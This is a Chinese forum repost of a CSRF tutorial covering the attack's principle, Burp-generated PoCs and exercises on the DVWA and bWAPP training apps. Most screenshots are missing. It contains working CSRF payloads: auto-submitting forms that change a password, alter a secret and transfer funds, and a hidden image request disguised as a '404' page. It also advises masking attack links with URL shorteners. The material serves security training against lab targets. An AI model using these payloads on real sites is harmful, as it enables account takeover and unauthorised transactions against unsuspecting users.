安全测试 CSRF 原理、方法和渗透实战

少年已老 · 2021年02月23日 · 最后由 少年已老 回复于 2021年02月23日 · 3244 次阅读

原文转载至:https://blog.csdn.net/qq_37615098/article/details/103849457
CSRF 客户端请求伪造(Cross-Site Request Forgery)

CSRF是利用cookie,xss是盗取cookie

在这里插入图片描述
发现漏洞
在这里插入图片描述
CSRF 和 xss
在这里插入图片描述

如果存在xss漏洞,很大可能存在CSRF漏洞

CSRF+Burp 验证
在这里插入图片描述
在这里插入图片描述
构造 CSRF POC 网页
在这里插入图片描述
在这里插入图片描述
构造 csrf 短网址,可以掩盖住原来的网址是什么
在这里插入图片描述

https://dwz.cn/
https://www.shorturl.at/shortener.php

在这里插入图片描述
bWAPP-CSRF

也是一个靶机平台虽然没有dvwa那样有名,也没有dvwa那么好。但是案例比较多。也是值得一试的
口令密码:bee/bug

搭建
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

http://127.0.0.1/bWAPP/csrf_2.php?account=123-45678-90&amount=10&ac

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

笔记:
第 1 CSRF - DVWA
DVWA 中 CSRF 漏洞练习
在这里插入图片描述
用 Burp 抓包 生成 POC
在这里插入图片描述
利用 POC 将密码改为 123456
csrf.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.29.10/dvwa/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="123456" />
      <input type="hidden" name="password&#95;conf" value="123456" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

在这里插入图片描述
在这里插入图片描述
利用 百度短网址 (前提是有自己的域名)
csrf2.html

<img src="http://192.168.29.10/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>

在这里插入图片描述
第 2 CSRF - bWAPP (小蜜蜂)
安装:
下载解压 bWAPP_latest.zip
https://sourceforge.net/projects/bwapp/files/bWAPP下载解压到网站根目录 C:\phpStudy\WWW\
修改 admin/settings.php
在这里插入图片描述
创建数据库:

浏览 http://x.x.x.x/bwapp/install.php
练习 1: 修改 secret
在这里插入图片描述
bwapp_2.html :

<!-- Exploit for challenge 2 : CSRF vulnerability BWAPP -->
<html>
  <body onload="document.getElementById('xsrf').submit()">
    <form id="xsrf" method="POST" action="http://192.168.29.10/BWAPP/csrf_3.php">
      <input type="hidden" name="secret" value="2019 11.15 hacked ">
      <input type="hidden" name="login" value="bee">
      <input type="hidden" name="action" value="change">
    </form>
  </body>
</html>

练习 2: 转账
在这里插入图片描述

<html>
  <body onload="document.getElementById('xsrf').submit();">
    <form id="xsrf" method="GET" action="http://192.168.29.10/BWAPP/csrf_2.php">
      <input name="account" type="hidden" value="999-9999-999">
      <input name="amount" type="hidden" value="2">
      <input name="action" type="hidden" value="transfer">
    </form>
  </body>
</html>
需要 登录 后方可回复, 如果你还没有账号请点击这里 注册